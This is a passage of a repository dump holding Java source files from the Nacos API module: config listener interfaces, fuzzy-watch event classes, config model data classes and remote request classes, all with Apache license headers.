    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.listener;\n\nimport java.util.concurrent.Executor;\n\n/**\n * AbstractFuzzyListenListener is an abstract class that provides basic functionality for listening to fuzzy\n * configuration changes in Nacos.\n *\n * @author stone-98\n * @date 2024/3/4\n */\npublic abstract class AbstractFuzzyWatchEventWatcher implements FuzzyWatchEventWatcher, FuzzyWatchLoadWatcher {\n    \n    /**\n     * Get executor for execute this receive.\n     *\n     * @return Executor\n     */\n    public Executor getExecutor() {\n        return null;\n    }\n    \n    @Override\n    public void onPatternOverLimit() {\n        // do nothing default\n    }\n    \n    @Override\n    public void onConfigReachUpLimit() {\n        // do nothing default\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/listener/AbstractListener.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.listener;\n\nimport java.util.concurrent.Executor;\n\n/**\n * Listener Adapter,use default notify thread.\n *\n * @author water.lyl\n */\npublic abstract class AbstractListener implements Listener {\n    \n    /**\n     * Use default executor.\n     */\n    @Override\n    public Executor getExecutor() {\n        return null;\n    }\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/listener/AbstractSharedListener.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.listener;\n\nimport java.util.concurrent.Executor;\n\n/**\n * Shared Listener.\n *\n * @author Nacos\n */\npublic abstract class AbstractSharedListener implements Listener {\n    \n    private volatile String dataId;\n    \n    private volatile String group;\n    \n    public final void fillContext(String dataId, String group) {\n        this.dataId = dataId;\n        this.group = group;\n    }\n    \n    @Override\n    public final void receiveConfigInfo(String configInfo) {\n        innerReceive(dataId, group, configInfo);\n    }\n    \n    @Override\n    public Executor getExecutor() {\n        return null;\n    }\n    \n    /**\n     * receive.\n     *\n     * @param dataId     data ID\n     * @param group      group\n     * @param configInfo content\n     */\n    public abstract void innerReceive(String dataId, String group, String configInfo);\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/listener/ConfigChangeParser.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.listener;\n\nimport com.alibaba.nacos.api.config.ConfigChangeItem;\n\nimport java.io.IOException;\nimport java.util.Map;\n\n/**\n * ConfigChangeParser.\n *\n * @author rushsky518\n */\npublic interface ConfigChangeParser {\n    \n    /**\n     * Judge type.\n     *\n     * @param type data type\n     * @return true if is responsible type, otherwise false\n     */\n    boolean isResponsibleFor(String type);\n    \n    /**\n     * Compare old and new data.\n     *\n     * @param oldContent old content\n     * @param newContent new content\n     * @param type       data type\n     * @return key and change item map\n     * @throws IOException io exception\n     */\n    Map<String, ConfigChangeItem> doParse(String oldContent, String newContent, String type) throws IOException;\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/listener/ConfigFuzzyWatchChangeEvent.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.listener;\n\nimport com.alibaba.nacos.api.common.Constants;\n\n/**\n * Represents a fuzzy listening configuration change event.\n *\n * <p>This event indicates that a change has occurred in a configuration that matches a fuzzy listening pattern.\n *\n * @author stone-98\n * @date 2024/3/12\n */\npublic class ConfigFuzzyWatchChangeEvent {\n    \n    /**\n     * The group of the configuration that has changed.\n     */\n    private String group;\n    \n    /**\n     * The data ID of the configuration that has changed.\n     */\n    private String dataId;\n    \n    /**\n     * The namespace of the configuration that has changed.\n     */\n    private String namespace;\n    \n    /**\n     * The change type of local watcher , contains {\"ADD_CONFIG\", \"DELETE_CONFIG\"}.\n     * {@link Constants.ConfigChangedType}.\n     */\n    private String changedType;\n    \n    /**\n     * the sync type that trigger this changed,contains {\"FUZZY_WATCH_INIT_NOTIFY\",\"FUZZY_WATCH_RESOURCE_CHANGED\",\n     * \"FUZZY_WATCH_DIFF_SYNC_NOTIFY\"}.\n     */\n    private String syncType;\n    \n    /**\n     * Constructs a FuzzyListenConfigChangeEvent with the specified parameters.\n     *\n     * @param group       The group of the configuration that has changed\n     * @param dataId      The data ID of the configuration that has changed\n     * @param changedType The type of change that has occurred\n     */\n    private ConfigFuzzyWatchChangeEvent(String namespace, String group, String dataId, String changedType,\n            String syncType) {\n        this.group = group;\n        this.dataId = dataId;\n        this.namespace = namespace;\n        this.changedType = changedType;\n        this.syncType = syncType;\n    }\n    \n    /**\n     * Constructs and returns a new FuzzyListenConfigChangeEvent with the specified parameters.\n     *\n     * @param group       The group of the configuration that has changed\n     * @param dataId      The data ID of the configuration that has changed\n     * @param changedType The type of change that has occurred\n     * @return A new FuzzyListenConfigChangeEvent instance\n     */\n    public static ConfigFuzzyWatchChangeEvent build(String namespace, String group, String dataId, String changedType,\n            String syncType) {\n        return new ConfigFuzzyWatchChangeEvent(namespace, group, dataId, changedType, syncType);\n    }\n    \n    public String getNamespace() {\n        return namespace;\n    }\n    \n    public String getGroup() {\n        return group;\n    }\n    \n    public String getDataId() {\n        return dataId;\n    }\n    \n    public String getChangedType() {\n        return changedType;\n    }\n    \n    public String getSyncType() {\n        return syncType;\n    }\n    \n    @Override\n    public String toString() {\n        return \"ConfigFuzzyWatchChangeEvent{\" + \"group='\" + group + '\\'' + \", dataId='\" + dataId + '\\''\n                + \", namespace='\" + namespace + '\\'' + \", changedType='\" + changedType + '\\'' + \", syncType='\"\n                + syncType + '\\'' + '}';\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/listener/FuzzyWatchEventWatcher.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.listener;\n\nimport java.util.concurrent.Executor;\n\n/**\n * fuzzy watch config changes.\n *\n * @author stone-98\n * @date 2024/3/4\n */\npublic interface FuzzyWatchEventWatcher {\n    \n    /**\n     * Callback method invoked when a fuzzy configuration change event occurs.\n     *\n     * @param event The fuzzy configuration change event\n     */\n    void onEvent(ConfigFuzzyWatchChangeEvent event);\n    \n    /**\n     * Get executor for execute this receive.\n     *\n     * @return Executor\n     */\n    Executor getExecutor();\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/listener/FuzzyWatchLoadWatcher.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.listener;\n\n/**\n * config fuzzy watch watcher that triggered when loader over limit.\n * @author shiyiyue\n */\npublic interface FuzzyWatchLoadWatcher {\n    \n    /**\n     * triggered when server pattern count over limit.\n     */\n    void onPatternOverLimit();\n    \n    /**\n     *  triggered when pattern match config count over limit.\n     */\n    void onConfigReachUpLimit();\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/listener/Listener.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.listener;\n\nimport java.util.concurrent.Executor;\n\n/**\n * Listener for watch config.\n *\n * @author Nacos\n */\npublic interface Listener {\n    \n    /**\n     * Get executor for execute this receive.\n     *\n     * @return Executor\n     */\n    Executor getExecutor();\n    \n    /**\n     * Receive config info.\n     *\n     * @param configInfo config info\n     */\n    void receiveConfigInfo(final String configInfo);\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/model/ConfigBasicInfo.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.model;\n\nimport com.fasterxml.jackson.databind.annotation.JsonSerialize;\nimport com.fasterxml.jackson.databind.ser.std.ToStringSerializer;\n\nimport java.io.Serializable;\n\n/**\n * Nacos configuration basic information.\n *\n * @author xiweng.yy\n */\npublic class ConfigBasicInfo implements Serializable {\n    \n    private static final long serialVersionUID = 2662049844183052399L;\n    \n    /**\n     * The actual storage identity of the configuration, which no actual meanings for usage.\n     *\n     * <p>\n     *     Different storage datasource will have different id. Such as Relational Database the id is auto-generated table ids.\n     * </p>\n     * <p>\n     *     Why to string serialize? The ui(JavaScript) handle id will lose the accuracy when large long, If directly return long type,\n     *     such as 862926428394491904, ui will replace it as 862926428394491900, so that can't found the configuration in later operation.\n     * </p>\n     */\n    @JsonSerialize(using = ToStringSerializer.class)\n    private Long id;\n    \n    private String namespaceId;\n    \n    private String groupName;\n    \n    private String dataId;\n    \n    private String md5;\n    \n    private String type;\n    \n    private String appName;\n    \n    private long createTime;\n    \n    private long modifyTime;\n    \n    private String desc;\n    \n    private String configTags;\n    \n    public Long getId() {\n        return id;\n    }\n    \n    public void setId(Long id) {\n        this.id = id;\n    }\n    \n    public String getNamespaceId() {\n        return namespaceId;\n    }\n    \n    public void setNamespaceId(String namespaceId) {\n        this.namespaceId = namespaceId;\n    }\n    \n    public String getGroupName() {\n        return groupName;\n    }\n    \n    public void setGroupName(String groupName) {\n        this.groupName = groupName;\n    }\n    \n    public String getDataId() {\n        return dataId;\n    }\n    \n    public void setDataId(String dataId) {\n        this.dataId = dataId;\n    }\n    \n    public String getMd5() {\n        return md5;\n    }\n    \n    public void setMd5(String md5) {\n        this.md5 = md5;\n    }\n    \n    public String getType() {\n        return type;\n    }\n    \n    public void setType(String type) {\n        this.type = type;\n    }\n    \n    public String getAppName() {\n        return appName;\n    }\n    \n    public void setAppName(String appName) {\n        this.appName = appName;\n    }\n    \n    public long getCreateTime() {\n        return createTime;\n    }\n    \n    public void setCreateTime(long createTime) {\n        this.createTime = createTime;\n    }\n    \n    public long getModifyTime() {\n        return modifyTime;\n    }\n    \n    public void setModifyTime(long modifyTime) {\n        this.modifyTime = modifyTime;\n    }\n    \n    public String getDesc() {\n        return desc;\n    }\n    \n    public void setDesc(String desc) {\n        this.desc = desc;\n    }\n    \n    public String getConfigTags() {\n        return configTags;\n    }\n    \n    public void setConfigTags(String configTags) {\n        this.configTags = configTags;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/model/ConfigCloneInfo.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.model;\n\nimport java.io.Serializable;\n\n/**\n * Nacos configuration cloned information.\n *\n * @author xiweng.yy\n */\npublic class ConfigCloneInfo implements Serializable {\n    \n    private static final long serialVersionUID = -53761233218121703L;\n    \n    /**\n     * The id of need to be cloned configuration, which is the actual storage id not data id. Get from {@link ConfigBasicInfo#getId()}.\n     */\n    private Long configId;\n    \n    /**\n     * The new group name of configuration after cloned. Optional, if not set, will use the original group name.\n     */\n    private String targetGroupName;\n    \n    /**\n     * The new data id of configuration after cloned. Optional, if not set, will use the original group name.\n     */\n    private String targetDataId;\n    \n    public Long getConfigId() {\n        return configId;\n    }\n    \n    public void setConfigId(Long configId) {\n        this.configId = configId;\n    }\n    \n    public String getTargetGroupName() {\n        return targetGroupName;\n    }\n    \n    public void setTargetGroupName(String targetGroupName) {\n        this.targetGroupName = targetGroupName;\n    }\n    \n    public String getTargetDataId() {\n        return targetDataId;\n    }\n    \n    public void setTargetDataId(String targetDataId) {\n        this.targetDataId = targetDataId;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/model/ConfigDetailInfo.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.model;\n\n/**\n * Nacos configuration detail information.\n *\n * @author xiweng.yy\n */\npublic class ConfigDetailInfo extends ConfigBasicInfo {\n    \n    private static final long serialVersionUID = -6659977504609721215L;\n    \n    private String content;\n    \n    private String encryptedDataKey;\n    \n    private String createUser;\n    \n    private String createIp;\n    \n    public String getContent() {\n        return content;\n    }\n    \n    public void setContent(String content) {\n        this.content = content;\n    }\n    \n    public String getEncryptedDataKey() {\n        return encryptedDataKey;\n    }\n    \n    public void setEncryptedDataKey(String encryptedDataKey) {\n        this.encryptedDataKey = encryptedDataKey;\n    }\n    \n    public String getCreateUser() {\n        return createUser;\n    }\n    \n    public void setCreateUser(String createUser) {\n        this.createUser = createUser;\n    }\n    \n    public String getCreateIp() {\n        return createIp;\n    }\n    \n    public void setCreateIp(String createIp) {\n        this.createIp = createIp;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/model/ConfigGrayInfo.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.model;\n\n/**\n * Nacos configuration gray information.\n *\n * @author xiweng.yy\n */\npublic class ConfigGrayInfo extends ConfigDetailInfo {\n    \n    private static final long serialVersionUID = 4462719176825261439L;\n    \n    private String grayName;\n    \n    private String grayRule;\n    \n    public String getGrayName() {\n        return grayName;\n    }\n    \n    public void setGrayName(String grayName) {\n        this.grayName = grayName;\n    }\n    \n    public String getGrayRule() {\n        return grayRule;\n    }\n    \n    public void setGrayRule(String grayRule) {\n        this.grayRule = grayRule;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/model/ConfigHistoryBasicInfo.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.model;\n\n/**\n * Nacos configuration history basic information.\n *\n * @author xiweng.yy\n */\npublic class ConfigHistoryBasicInfo extends ConfigBasicInfo {\n    \n    private static final long serialVersionUID = -5429814695967367742L;\n    \n    private String srcIp;\n    \n    private String srcUser;\n    \n    /**\n     * Operation type, include inserting, updating and deleting.\n     */\n    private String opType;\n    \n    private String publishType;\n    \n    public String getSrcIp() {\n        return srcIp;\n    }\n    \n    public void setSrcIp(String srcIp) {\n        this.srcIp = srcIp;\n    }\n    \n    public String getSrcUser() {\n        return srcUser;\n    }\n    \n    public void setSrcUser(String srcUser) {\n        this.srcUser = srcUser;\n    }\n    \n    public String getOpType() {\n        return opType;\n    }\n    \n    public void setOpType(String opType) {\n        this.opType = opType;\n    }\n    \n    public String getPublishType() {\n        return publishType;\n    }\n    \n    public void setPublishType(String publishType) {\n        this.publishType = publishType;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/model/ConfigHistoryDetailInfo.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.model;\n\n/**\n * Nacos configuration history detail information.\n *\n * @author xiweng.yy\n */\npublic class ConfigHistoryDetailInfo extends ConfigHistoryBasicInfo {\n    \n    private static final long serialVersionUID = 5498431203024164923L;\n    \n    private String content;\n    \n    private String encryptedDataKey;\n    \n    private String grayName;\n    \n    private String extInfo;\n    \n    public String getContent() {\n        return content;\n    }\n    \n    public void setContent(String content) {\n        this.content = content;\n    }\n    \n    public String getEncryptedDataKey() {\n        return encryptedDataKey;\n    }\n    \n    public void setEncryptedDataKey(String encryptedDataKey) {\n        this.encryptedDataKey = encryptedDataKey;\n    }\n    \n    public String getGrayName() {\n        return grayName;\n    }\n    \n    public void setGrayName(String grayName) {\n        this.grayName = grayName;\n    }\n    \n    public String getExtInfo() {\n        return extInfo;\n    }\n    \n    public void setExtInfo(String extInfo) {\n        this.extInfo = extInfo;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/model/ConfigListenerInfo.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.model;\n\nimport java.util.Map;\n\n/**\n * Nacos configuration listeners information.\n *\n * @author xiweng.yy\n */\npublic class ConfigListenerInfo {\n    \n    public static final String QUERY_TYPE_CONFIG = \"config\";\n    \n    public static final String QUERY_TYPE_IP = \"ip\";\n    \n    private String queryType;\n    \n    private Map<String, String> listenersStatus;\n    \n    public String getQueryType() {\n        return queryType;\n    }\n    \n    public void setQueryType(String queryType) {\n        this.queryType = queryType;\n    }\n    \n    public Map<String, String> getListenersStatus() {\n        return listenersStatus;\n    }\n    \n    public void setListenersStatus(Map<String, String> listenersStatus) {\n        this.listenersStatus = listenersStatus;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/model/SameConfigPolicy.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.model;\n\n/**\n * SameConfigPolicy.\n *\n * @author klw\n */\npublic enum SameConfigPolicy {\n    \n    /**\n     * Abort import  on duplicate.\n     */\n    ABORT,\n    \n    /**\n     * Skipping on duplicate.\n     */\n    SKIP,\n    \n    /**\n     * Overwrite on duplicate.\n     */\n    OVERWRITE\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/remote/request/AbstractConfigRequest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.request;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.remote.request.Request;\n\n/**\n * abstract request of config module request,all config module request should extends this class.\n *\n * @author liuzunfei\n * @version $Id: ConfigCommonRequest.java, v 0.1 2020年07月13日 9:05 PM liuzunfei Exp $\n */\npublic abstract class AbstractConfigRequest extends Request {\n    \n    private String dataId;\n    \n    private String group;\n    \n    private String tenant;\n    \n    public String getDataId() {\n        return dataId;\n    }\n    \n    public void setDataId(String dataId) {\n        this.dataId = dataId;\n    }\n    \n    public String getGroup() {\n        return group;\n    }\n    \n    public void setGroup(String group) {\n        this.group = group;\n    }\n    \n    public String getTenant() {\n        return tenant;\n    }\n    \n    public void setTenant(String tenant) {\n        this.tenant = tenant;\n    }\n    \n    @Override\n    public String getModule() {\n        return Constants.Config.CONFIG_MODULE;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/remote/request/AbstractFuzzyWatchNotifyRequest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.request;\n\nimport com.alibaba.nacos.api.remote.request.ServerRequest;\n\nimport static com.alibaba.nacos.api.common.Constants.Config.CONFIG_MODULE;\n\n/**\n * AbstractFuzzyListenNotifyRequest.\n *\n * @author stone-98\n * @date 2024/3/14\n */\npublic abstract class AbstractFuzzyWatchNotifyRequest extends ServerRequest {\n    \n    public AbstractFuzzyWatchNotifyRequest() {\n    }\n    \n    @Override\n    public String getModule() {\n        return CONFIG_MODULE;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/remote/request/ClientConfigMetricRequest.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.request;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.remote.request.ServerRequest;\n\nimport java.io.Serializable;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Objects;\n\n/**\n * request of config module metrics.\n *\n * @author liuzunfei\n * @version $Id: ClientConfigMetricRequest.java, v 0.1 2020年12月30日 9:05 PM liuzunfei Exp $\n */\npublic class ClientConfigMetricRequest extends ServerRequest {\n    \n    private List<MetricsKey> metricsKeys = new ArrayList<>();\n    \n    @Override\n    public String getModule() {\n        return Constants.Config.CONFIG_MODULE;\n    }\n    \n    public List<MetricsKey> getMetricsKeys() {\n        return metricsKeys;\n    }\n    \n    public void setMetricsKeys(List<MetricsKey> metricsKeys) {\n        this.metricsKeys = metricsKeys;\n    }\n    \n    public static class MetricsKey implements Serializable {\n\n        private static final long serialVersionUID = -2731160029960311757L;\n\n        String type;\n        \n        String key;\n        \n        public static final String CACHE_DATA = \"cacheData\";\n        \n        public static final String SNAPSHOT_DATA = \"snapshotData\";\n        \n        /**\n         * build metrics key.\n         *\n         * @param type type.\n         * @param key  key.\n         * @return metric key.\n         */\n        public static MetricsKey build(String type, String key) {\n            MetricsKey metricsKey = new MetricsKey();\n            metricsKey.type = type;\n            metricsKey.key = key;\n            return metricsKey;\n        }\n        \n        public String getType() {\n            return type;\n        }\n        \n        public void setType(String type) {\n            this.type = type;\n        }\n        \n        public String getKey() {\n            return key;\n        }\n        \n        public void setKey(String key) {\n            this.key = key;\n        }\n        \n        @Override\n        public String toString() {\n            return \"MetricsKey{\" + \"type='\" + type + '\\'' + \", key='\" + key + '\\'' + '}';\n        }\n        \n        @Override\n        public boolean equals(Object o) {\n            if (this == o) {\n                return true;\n            }\n            if (o == null || getClass() != o.getClass()) {\n                return false;\n            }\n            MetricsKey that = (MetricsKey) o;\n            return Objects.equals(type, that.type) && Objects.equals(key, that.key);\n        }\n        \n        @Override\n        public int hashCode() {\n            return Objects.hash(type, key);\n        }\n    }\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/remote/request/ConfigBatchListenRequest.java",
